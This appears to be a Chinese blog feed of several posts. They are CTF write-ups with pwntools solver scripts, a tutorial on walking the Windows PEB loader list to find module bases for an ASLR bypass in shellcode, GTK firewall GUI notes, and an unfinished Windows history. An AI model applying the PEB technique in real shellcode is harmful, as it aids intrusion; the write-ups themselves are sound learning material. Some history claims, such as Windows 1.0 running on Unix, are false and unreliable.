def solve_pow(challenge, difficulty=4, timeout=0.5):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def save_image():
count = 0
for i in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
# compared with the local images using b64, if the image is not in the local images, save it
# using a uuid as the filename
# if folder is empty, save the image directly
if not os.listdir('images'):
with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
f.write(base64.b64decode(b64_image))
count += 1
else:
save_flag = True
for filename in os.listdir('images'):
with open(f'images/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
save_flag = False
break
if save_flag:
with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
f.write(base64.b64decode(b64_image))
count += 1

info(f"save {count} images")

p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT w44bxg7cgh48frjc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
info(f"solution: {solution}")
p.sendline(solution.encode())
save_image()
p.close()

这道题的标签我一开始是用模型打的,但是准确率并不高。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
prefix = "0000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def eval_image():
for _ in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
for filename in os.listdir('images_model'):
with open(f'images_model/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
correct_answer = filename[-5].upper()
file_list.append(filename)
if correct_answer != 'Y' and correct_answer != 'N':
correct_answer = 'N'
correct_answers.append(correct_answer)
break

p.recvuntil(b" all 20 rounds (Y/N): ")
data = ''.join(correct_answers)
info(data)
p.sendline(data.encode())


while True:
correct_answers = []
file_list = []
p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
if solution is None:
p.close()
continue
info(f"solution: {solution}")
p.sendline(solution.encode())
eval_image()
try:
response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3)
wrong_round = p.recvuntil(b".", drop=True)
info(f"wrong_round: {wrong_round}")
wrong_round = int(wrong_round)
wrong_filename = file_list[wrong_round - 1]
# change the filename to the right answer(opposite of original answer)
# modify the filename to the right answer
correct_answer = correct_answers[wrong_round - 1]
if correct_answer == 'Y':
correct_answer = 'N'
else:
correct_answer = 'Y'
right_filename = wrong_filename[:-5] + correct_answer + '.png'
# append the wrong filename to log.txt
with open('log.txt', 'a') as f:
f.write(f'{wrong_filename}\n')
os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}')
p.close()
continue
except:
break

p.interactive()

flag:

1
flag{DeepFake_1s_Ea5y_aNd_1ntere5t1ng!}

RealOrNotRevenge

本题考察的是谷歌识图的能力。

下载图片和之前一样,这道题我下载下来只有86张图片。我全部拿去谷歌识图,能搜到的大多数是unsplash上的图片。能搜到的我都标记Y,搜不到的都标记N。准确率似乎极高。。。跑个几次就出flag了。因此主要工作量在于我手动谷歌识图,但是应该可以写代码调用API?

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
prefix = "00000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=5, timeout=3):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def eval_image():
for _ in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
for filename in os.listdir('images_model'):
with open(f'images_model/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
correct_answer = filename[-5].upper()
file_list.append(filename)
if correct_answer != 'Y' and correct_answer != 'N':
correct_answer = 'N'
correct_answers.append(correct_answer)
break

p.recvuntil(b" all 20 rounds (Y/N): ")
data = ''.join(correct_answers)
info(data)
p.sendline(data.encode())


while True:
correct_answers = []
file_list = []
p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT 6gmer7hwgjkkh6fc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
if solution is None:
p.close()
continue
info(f"solution: {solution}")
p.sendline(solution.encode())
eval_image()
print(len(file_list))
response = p.recvline()
if b'flag' in response:
print(response)
break
p.close()

flag:

1
flag{Revenge_1s_Ea5y_aNd_1ntere5t1ng!}

f and r

本题考察的是信息检索能力和动手能力。

几乎全靠这篇文章:

https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html

根据文章提到的步骤把msu里面的cab提取出来:

1
2
3
4
5
6
7
8
9
10
11
mkdir content
expand.exe -F:* ".\windows10.0-kb114514-x64.msu" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Cab_for_KB114514_PSFX.cab" ./content

发现f和r文件夹下都有curl.exe。那么我们要做的就是从delta和curl.exe恢复出一个二进制文件。

需要利用作者编写的delta_patch.py。但是直接将题目给的f和r喂进去是行不通的。

文中有这么一段:

To generate the binaries I want I’m going to apply the reverse delta and then each forward delta, creating two output files:

1
2
3
4
5
6
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-07.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-07\x64\os-kernel_10.0.18362.959\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: zZC/JZ+y5ZLrqTvhRVNf1/79C4ZYwXgmZ+DZBMoq8ek=
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-08.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-08\x64\os-kernel_10.0.18362.1016\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: UZw7bE231NL2R0S4yBNT1nmDW8PQ83u9rjp91AiCrUQ=

何意呢,目测是说:

我们有一个比较新的文件,一个旧补丁,一个处于中间的补丁。利用旧补丁的r回到旧版本,再用中间补丁的f就可以生成中间版本。

update.mum里面有一串网址:https://support.macrohard.com/help/5034203

好好好把巨硬改成微软,发现是KB5034203更新,那就把这个msu下载下来,提取出其中curl的f和r。

然后用KB5034203的r回滚到旧版本,用题目给的f生成我们要的二进制文件。

1
2
python delta_patch.py -i curl.exe -o curl.patched.exe .\kb5034203\r\curl.exe .\kb114514\amd64_curl_0o0o0o0o0o0o0o0_10.0.19041.9999_none_0o0o0o0o0o0o0o0\f\curl.exe
.\curl.patched.exe --version

得到flag:

1
flag{ dc1d03c554150a cedca6d71ce394 }

去掉空格即可。

Boy’s Bullet

本题考查图片exif编辑能力和阅读理解能力。

回旋镖是吧。2000年出生的男孩24岁开枪38岁噶了,我作为一个2024年出生的照片也应该38岁时噶,所以应该是2062年。刚开始这个时间戳没搞明白啥意思,一开始文件名里带时间错,后来在图片里加时间戳,后来才猛地想起exif也有时间戳。

用这个网站随便修改了一张图片的exif信息(Modify Date),然后上传:

1
curl -T 2062.jpeg http://111.186.57.85:10038

就能得到flag:

1
flag{47_7h15_m0m3n7_3duc4710n_h45_c0mp1373d_4_72u1y_c1053d_100p}

result

没记flag,学校那个莫名连不上,换geekctf复现的。

Windows PEB 利用

✇BeaCox
作者 BeaCox

ASLR

ASLR,全称 Address space layout randomization,即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址,防止攻击者能可靠地跳转到内存的特定位置来利用函数。

在Linux中,ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中,只能保证系统重启后地址的随机性。

究其原因,是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE,因此其 ASLR 的实现需要付出内存代价。 每次将库映射到不同地址时,都会占用更多内存。

当然这也意味着,如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址,在其重启之前,我们都能够继续使用。

PEB

在 Linux 中,内核通过task_struct保存并管理进程相关的信息,在 Windows 中起到类似作用的是PEB。当然,还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。

进程环境块PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据。

维基百科对 PEB 的描述足够全面,推荐感兴趣的读者继续阅读,值得注意的是中文翻译有些瑕疵。说回到 PEB,PEB 是一个结构体,包含了进程是否被调试、被加载模块的虚拟地址等大量信息。

在 Windows 11 23H2 (2023 Update) 版本的内核中,PEB 的部分定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//0x7d0 bytes (sizeof)
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
UCHAR Padding0[4]; //0x4
VOID* Mutant; //0x8
VOID* ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
VOID* SubSystemData; //0x28
VOID* ProcessHeap; //0x30
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
VOID* IFEOKey; //0x48
……
};

在本文中,我们主要关注偏移为 0x18 的 Ldr 字段。为什么?因为它包含了被加载模块(用到的库)的虚拟地址。

Ldr 概览

在利用之前,或许应该先看看这个字段包含什么内容。我先在 Windbg 中随机打开一个应用程序看看 PEB 及 Ldr 的内容。

lm

在命令框中键入lm,即 list modules,可以看到这个应用加载了5个模块。其中a是程序本身的名字(a.exe),而KERNEL32是我们关心的另一个模块,因为它控制着系统的内存管理、数据的输入输出操作和中断处理,或者换句话说,其中有许多我们可以利用的函数(如WriteFile()用来写)。在不使用调试工具的时候我们无法如此便捷地获取被加载模块的地址,因此我们需要用到 PEB。

在 Windbg 中也可以很方便地查看 PEB 信息:

!peb

在命令框中键入!peb可以看到 Ldr.InMemoryOrderModuleList下存储着被加载模块地基地址,其中第一个和第三个是我们的目标,其显示的基地址和之前使用lm命令查看到的地址是一致的。

值得一提的是,这些 Modules 正是以 List 链表形式存储的。我们简单地验证一下:

list

不难发现,在每个条目的开头存储着下一个条目的地址,而偏移 0x20 处存储着被加载模块的基地址。因此当我们表头的地址时,我们可以通过每个链表项跳转到下一个链表项、可以获取每个链表项下模块的基地址。

PoC

接下来就是编写 C 代码获取被加载模块虚拟地址的 demo 了。我们先提出尚未解决的几个问题:

  1. 如何获得 PEB 结构体在内存中的地址?
  2. Ldr 相对 PEB 的偏移量已知是 0x18,Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是多少?

先回答第二个问题:Ldr.InMemoryOrderModuleList 相对 Ldr 的偏移是 0x20 。并且在我们编写 C 代码的时候,不需要知道具体的偏移量,只需要知道字段名称即可,相应的库会帮我们处理好偏移量。

接着是第一个问题:Windows 用 FS/GS 寄存器来存储 PEB 的地址,分别对应32位/64位。具体如下:

  • 32位:fs:0x30
  • 64位:gs:0x60

:后代表偏移量。

解决了这两个问题之后就可以编写 C 代码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>

int main(void) {
// __readgsqword(0x60) equals to mov <register>, gs:[0x60]
PPEB pebPtr = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA ldrData = pebPtr->Ldr;
PLIST_ENTRY moduleList = &ldrData->InMemoryOrderModuleList;
// Get the first module in the list
PLDR_DATA_TABLE_ENTRY program_module = CONTAINING_RECORD(moduleList->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

// Skip 3 modules to get kernel32.dll
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
moduleList = moduleList->Flink;
// Get kernel32.dll
PLDR_DATA_TABLE_ENTRY kernel32_module = CONTAINING_RECORD(moduleList, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
PVOID program_base = program_module->DllBase;
PVOID kernel32_base = kernel32_module->DllBase;
printf("Program base: %p\n", program_base);
printf("Kernel32 base: %p\n", kernel32_base);

return 0;
}

简单地解释一下流程:

  1. 通过 gs 寄存器获取 PEB 地址
  2. 通过 PEB 结构体获取 Ldr
  3. 通过 Ldr 获取 InMemoryOrderModuleList
  4. Flink 一次将取出表头,在固定的偏移处可以取出程序基地址
  5. Flink 3次将取出第三项,在同样的偏移处可以取出 Kernel32.dll 的基地址

编译成可执行文件并运行:

1
2
gcc poc.c
./a.exe

得到输出:

1
2
Program base: 0000000000400000
Kernel32 base: 00007FFEBE4B0000

发现与在 Windbg 中得到的一致。

这证明:我们可以通过编写 C 代码获得被加载模块的基地址。更进一步地,我们的 C 代码经过编译后反汇编得到的汇编代码简单清晰,这意味着我们可以编写比较简单的汇编来实现这一目标。换言之,我们可以在 shellcode 中实现这一目标从而绕过 ASLR。

GTK应用开发小记

✇BeaCox
作者 BeaCox

夏季学期课程的小组作业,是要开发一个基于Linux内核模块的包过滤防火墙。主要有两部分的任务:

  1. 配置程序

    运行在应用层,用来配置过滤规则,包括协议类型、IP地址、端口号、开始和结束时间、是否启用规则等。

  2. Linux内核模块

    运行在内核层,完成包过滤防火墙的功能,该模块借助注册Netfilter钩子函数的方式来实现对数据包的过滤和控制。

我主要负责了第一部分的任务:开发一个友好的包过滤规则的配置和管理界面(GUI部分,CLI部分由组里另一位同学负责)。支持包过滤的规则导入、导出,添加、编辑、 删除、搜索等功能。应用界面如下:

日间模式
暗黑模式
编辑页面
关于页面+日志页面

谈不上好看,但也不至于很丑。

GTK vs QT

GTK和QT是非常有名的两个GUI库,当然QT应该是更有名些。GTK和QT的优势对比如下:

  • QT:
    1. 跨平台性:QT是一个跨平台的工具包,可以在多个操作系统上运行,包括Windows、Linux、macOS等。它提供了一致的API,使得开发者可以轻松地编写一次代码,然后在不同的平台上进行部署和运行。
    2. 高度集成:QT提供了丰富的组件和工具,涵盖了广泛的应用开发需求,包括图形渲染、网络通信、数据库访问等。它还提供了开发者友好的IDE和调试工具,使得开发过程更加高效。
    3. QML和Qt Quick:QT引入了QML和Qt Quick技术,允许开发者使用声明性语言和组件化的方式来设计和构建用户界面。这种方式简化了UI设计和开发的过程,并提供了良好的可扩展性。
    4. 商业支持:QT由The Qt Company开发和维护,提供了商业许可和支持服务。这对于企业级应用开发来说是一个优势,因为他们可以获得专业的技术支持和保障。
  • GTK:
    1. 开源性:GTK是一个开源工具包,它的代码可以被自由地查看、修改和分发。这对于开源社区和个人开发者来说是一个优势,他们可以根据自己的需求进行自定义和改进。
    2. UNIX哲学:GTK是基于UNIX哲学设计的,它鼓励模块化和简洁的设计。这种设计理念使得GTK在Linux等UNIX-like系统上有着很好的集成和兼容性。
    3. GNOME集成:GTK是GNOME桌面环境的默认工具包,它与GNOME的集成非常紧密。如果你计划开发适用于GNOME桌面环境的应用程序,使用GTK可能更加方便和自然。
    4. 多语言支持:GTK支持多种编程语言,包括C、C++、Python等。这使得开发者可以使用自己喜欢的编程语言来进行应用程序的开发。

最终我是选择了GTK3进行GUI开发,原因如下:

  1. 这次开发的防火墙程序是基于Linux内核模块的,所以只能在Linux系统使用,不需要考虑GUI的跨平台。
  2. Glade应用提供了GTK应用的UI设计功能,起到和QML、Qt Quick类似的作用。
  3. 开源、不需要商业支持。
  4. 防火墙属于网络层的应用,不需要太多功能,简洁至上。
  5. 在Ubuntu22.04环境下开发,使用GTK接近原生UI。
  6. GTK的默认样式足够好看。

GTK & glade学习

GTK相比QT的一个最大劣势就是文档更少、社区也更不活跃。B站和YouTube搜索QT,有非常多的教程,而GTK相对来说就比较少了。另外GTK4已经问世数年,但是教程大多还是GTK3。之前提到用来设计GTK应用UI的glade,支持的最高GTK版本也是GTK3。

好在对于这样一个简单的GUI应用,只需要入门GTK便可。学习一样工具,我总是喜欢边学边做。因此视频+文档的组合往往是更适合我的。在我学习GTK开发的过程中,主要参考了以下资源:

  1. Linux Gtk Glade Programming

    YouTube上的GTK & glade开发教程,没有涵盖GTK的所有类,但对入门来说够用而且友好。

  2. 视频中的源代码

    更多时候我其实是直接看源代码学习,视频节奏有些拖沓,一旦理解GTK和glade是怎样工作的,看代码会是更高效的解决方法。

  3. GTK3文档

    文档很全面,但只有英文。

  4. ChatGPT

    文档没写全的、视频没讲到的可以问问GPT。看看思路可以,3.5写出来的代码可能不能直接用。

GTK & glade开发流程

使用GTK & glade开发,主要是应用UI设计和功能实现分离的思想。

  1. 在glade应用中设计UI

    哪里是按钮,哪里需要输入框,哪里需要列表等等,需要提前构思好。

  2. 在glade应用中连接信号(signals)

    所谓信号,就是当用户与界面发生某种特定的交互时,应用程序便会知悉,并可根据这种信号回调对应的函数、传入特定的数据进行特定的操作。可以在glade中连接信号并指定对应的回调函数,以及需要传入的数据。这样在后续功能实现时,只需将这些函数的功能实现即可,也很好地实现了模块化。

  3. 编写GTK代码

    主要是实现之前在glade中指定的回调函数。另外,一些用于提示用户的对话框也可以直接用代码生成。

  4. 编译程序

    在开发阶段,一般从glade文件加载builder(gtk_builder_new_from_file),并使用gcc-export-dynamic参数。这样一来,修改glade文件后无需重新编译就可以看到新的UI。

    而在生产环境中,不能使用上述方法。因为上述方法编译的应用程序需要依赖glade文件运行,而一般用于生产环境的应用程序需要将glade文件一同编译成最后的二进制程序。因此要从资源中加载builder(gtk_builder_new_from_resource)。因此首先要把glade文件编译成资源,这个过程需要用到glib-compile-resources工具。具体方法可以参照Linux Gtk Glade Programming Part 34: Embedding resources in your app

难点

  1. TreeView

    GTK中的TreeView以及ListBox是非常重要的组件,适合用于用户与系统的数据交互,区别在于TreeView可以有多层父子结构,而ListBox只有单层。

  2. Log功能

    Log功能的第一版思想是:每隔一段时间(如1s)监测日志文件的变化,当日志文件大小发生改变时,将新增的内容显示在应用的TextView当中。但是如果使用一个线程,会导致应用要轮流处理与用户的交互和日志文件的监测,而日志文件又需要频繁监测,造成较差的用户体验。因此为监测日志文件变化的功能单独创建一个线程进行处理。

    但是线程需要应对一系列互斥与共享的问题,因此我换了一种实现方法。

    第二版的思想是:使用GFileMonitor来监测文件的变化,当文件变化时,会发出一个信号,GTK应用能捕捉这个信号并做出相应的处理。

    GFileMonitor VS 多线程:

    • 优点:

      • GFileMonitor使用更简单,不需要自己编写多线程逻辑。它提供了文件变化事件的回调接口,只需要关心事件处理逻辑。
      • GFileMonitor对文件系统事件的处理可能更高效。它基于操作系统提供的文件变化监控机制,不需要频繁地轮询检查文件。
      • GFileMonitor可以方便地跨平台使用,而自行实现的多线程文件监视可能需要针对不同平台调整。
    • 缺点:

      • GFileMonitor的可定制性较低,不能自由控制轮询频率等参数。
      • GFileMonitor可能不支持监视网络文件系统或一些特殊文件系统。
      • GFileMonitor基于系统调用,系统开销可能略大于纯用户态的多线程实现。
      • 自行实现的多线程方案可以加入更多自定义逻辑,例如合并事件、缓存等。

源代码(完整程序)

聊聊系统(没写完)

很抱歉长时间未更新! ?
在群里和小伙伴们BB了一顿系统,写篇文章记录一下。本文排名分先后。
PS:本文资料来源:百度百科,知乎。

Windows系统

作为世界排名第一的操作系统,也作为首个介绍对象。

MicrosoftWindows操作系统是美国微软公司研发的一套操作系统,它问世于1985年,起初仅仅是Microsoft-DOS模拟环境,后续的系统版本由于微软不断的更新升级,不但易用,也当前应用最广泛的操作系统。
Windows采用了图形化模式GUI,比起从前的Dos需要输入指令使用的方式,更为人性化。随着计算机硬件和软件的不断升级,微软的 Windows也在不断升级,从架构的16位、32位再到64位,系统版本从最初的 Windows1.0到大家熟知的 Windows95、 Windows98、 Windows2000、 Windows XP、 Windows Vista、 Windows7、Windows8、Windows8.1、Windows 10和 Windows Server服务器企业级操作系统,不断持续更新,微软一直在致力于Windows操作系统的开发和完善。

相对于其他的操作系统,win的入门门槛比较低,适合新手。
7ECAFE31-ED24-4484-8E88-10264E19E2B7.png
win初代的底层使用Unix,接下来就全部都是采用自家的NT。目前来说,桌面OS中 Windows 系统的占有率大约 76.52%,macOS 则是 18.99%。

Windows 之前

实际上 Windows 系统并不是微软的第一个操作系统,在 Windows 系统之前,大多数电脑都使用微软的 MS-DOS(微软磁盘操作系统)。MS-DOS 没有图形界面,用起来就像现在的 CMD 命令提示符,所有操作都通过一行行代码实现。因为有 IBM 的扶持,MS-DOS 几乎霸占了当时整块操作系统市场。
717B6386-57E7-4D02-819C-B934F439566E.png
直到有一天,苹果创始人乔布斯做出了可能是他一生最后悔的决定:向微软创始人比尔盖茨炫耀苹果最新型的麦金塔电脑(Macintosh),并希望微软能为麦金塔电脑开发软件。//如果他还在世能看到我这篇文章肯定要骂娘?乔布斯一直瞧不起比尔盖茨就是这个原因。
麦金塔电脑搭载一个图形用户界面,可使用鼠标灵活的与系统交互,被认为是首款将 GUI 成功商品化的个人电脑。

Windows 1.0(1985年)

在麦金塔电脑正式发布一年后的 1985 年,微软仿造出了第一款有图形界面的操作系统,并取名叫做 Windows 1.0。用户可以更高效的查看文件,执行简单操作。

Windows 1.0 界面它还具有「多任务」和「在程序之间传输数据」的功能,这是 Windows 系统的第一个功能。

和麦金塔的系统一样,Windows 1.0 页附带了很多应用程序,例如Windows Write(文字处理软件)、画图、时钟、日历、记事本、文件管理器,甚至一款叫做 Reversi 的游戏。

不过 Windows 1.0 的软件窗口不能重叠,几乎就是以微软的风格重置了麦金塔的系统。
{x} 哦对了,忘了一件重要的事!
最早发明图形视窗操作系统的,是当年的技术先锋施乐公司。虽然图形界面是创造性的产品,相比于DOS系统,简单又酷炫,但是由于该系统既不成熟,也不实用,只有技术精英才会尝试。

Windows 偷了麦金塔,其实麦金塔也是偷自施乐公司的GUI。

Windows 2.0(1987年)

两年后微软将 Windows 更新到 2.0 版本,此版本让软件窗口可以重叠,还可调整窗口大小已节约屏幕空间,另外还有一些简单的键盘快捷键和对 VGA 图形的支持。
D7FAD3B0-B6F4-4988-A9C7-78CFD6BA4D0F.png

Windows 3.0、3.1(1990年)

3.0 版本是 Windows 一个重要的里程碑,它支持 256 色显示,使用虚拟内存欺骗程序,以达到更高效多任务处理。因为强大的多任务处理能力,Windows 的市场占有率飙升,从此一发不可收拾。

Windows 95(1995年)

自此,Windows 已经走过 10 个年头,离开 IBM 后的第一个版本,Windows「整容」归来。
Windows 95 在 GUI 方面改进非常大,Windows 系统的界面布局基本在这一代定型,经典的「开始菜单」按钮和 InternetExplorer 浏览器也是这个在这个版本加入。

Windows 98(1998年)

Windows 98 改进并不多,主要是对 fat-32 磁盘格式有了更好的支持,磁盘分区允许大于2GB。
R-C.jpeg
Windows 98 界面这是一个 16 位和 32 位混合的系统,加上它老旧的 Windows 9x 内核,导致系统很容易出错,蓝屏几率很高。
不稳定 + 没有新意,Windows98 收获了一波差评如潮。

Windows 2000、ME(2000年)

这一年又是 Windows 重要的里程碑,微软在这一年发布了两款 Windows 系统。

其中 2000 版本也就是我们现在用的 Windows 系统的前身,它首次采用 NT 内核,着重于可访问性,大大提升了用户对系统的权限。著名的粘滞键(快速按Shift五次激活)也是在这个版本加入。

{alert type="info"}
另外还有很少人知道的 Windows ME(千禧年特别版)。它继续沿用了 Windows 98 的 9x 内核。可想而知 9x 内核的不稳定性也被沿用下来了。Windows ME 最终入选「有史以来最辣鸡的25个科技产品」,被誉为 Windows 系统的黑历史。
即便饱受诟病但 Windows ME 还是为我们留下了一些好东西,比如系统还原功能(不过 ME 的还原连病毒也会一并还原)
{/alert}

Windows XP(2001年)

经典的「叉屁」系统有家庭版和专业版两个版本,宣告微软正式放弃 9x 内核。
XP 的界面称得上是一次革新,鲜艳的配色,圆润的UI和绿色的开始菜单和青天绿草。
不过XP现在有了新的意思,这里不多做解释。
Windows XP 界面XP 还是第一款提供 64 位的 Windows 系统。当时很流行 CD,所以 XP 系统也加入了 CD 刻录软件,还有桌面搜索,远程桌面等。

最重要的是它非常非常非常稳定,这也是为什么现在还有很 XP 钉子户的原因。

XP 是寿命最长的 Windows 系统(13年),被誉为微软的 Messiah(救世主),它的地位可想而知。

Windows Vista(2007年)

Vista 最大的卖点之一是新设计的界面(Aero Glass)但是性能要求过高,售价高昂。

尽管「用户帐户控制」功能前所未有的安全性,但这个功能强制开启不能关闭,让用户非常讨厌。
这点我在群里和小伙伴讨论了很久。
微软在 Vista 上步子迈的太大,扯到了蛋蛋。在用户调查中,只有 8% 的人表示满意(XP是41%满意),尽管如此Vista 的首发销量却比XP好,有2000 万份,不过很多用户体验后又降级到 XP。

继续使用 Vista 的用户大多是游戏玩家,因为它是第一个包含 DirectX 10(用于 3D 图像处理) 的系统,

另外 Vista 还为我们留下了 Windows Defender(根据安全软件排名,这个系统自带的杀毒软件非常OK,360这边就不建议大家安装了)。

Windows 7(2009年)

两年后微软发布了 Windows 7,旨在解决 Vista 存在的问题。Windows 7 稍微改进了界面,可自主关闭「用户帐户控制」通知,便饱受好评。

Windows 8(2012年)

Windows 8 界面风格再次大改,它的重点是触摸屏设备,也就是微软的跨平台计划,为此开始菜单被设计成了一个铺满「瓷砖」的界面,这使许多人感到不适应。
这是我2013买的第一台电脑自带的系统//用的实在不习惯

Windows 10(2015年)

这是最近一代的 Windows 系统,也是微软的转型之作,以往的微软都是卖软件赚取,从Windows 10 开始微软的业务从软件销售专为云服务。所以 Windows 10 发布之初做出了免费送活动,Windows7 - 8.1 用户可以免费升级到 Windows 10,上亿用户免费洗白。
mac也在这年增加了对win系统的支持,使用启动转换助手可以直接安装win10,我记得之前我也写过这样的文章,但是在迁移过程中被删除了。
Windows 10 的重心回到桌面端,引入了个人助理小娜(Cortana),支持生物解锁(指纹和面部),自动搜索安装驱动,同时更新策略变为每年两次大更新,并且永久免费。

Windows 11(2021年)

Windows 11是由微软公司(Microsoft)开发的操作系统,应用于计算机和平板电脑等设备 。于2021年6月24日发布,2021年10月5日发行。
Windows 11提供了许多创新功能,增加了新版开始菜单和输入逻辑等,支持与时代相符的混合工作环境,侧重于在灵活多变的体验中提高最终用户的工作效率 。
截至2022年6月15日,Windows 11正式版已更新至22000.739版本 ;预览版已更新至25140 版本 。
2022年5月19日,微软宣布,Windows 11已可以广泛部署(broad deployment),意味着任何拥有符合Windows 11最低配置要求的PC都应该能够安装该系统。
2022年7月24日,微软正式上架了Win11的购买选项,Win11家庭版的国行售价为1088元,专业版则仅支持从Win10进行升级,无法直接购买。

MAC系统

❌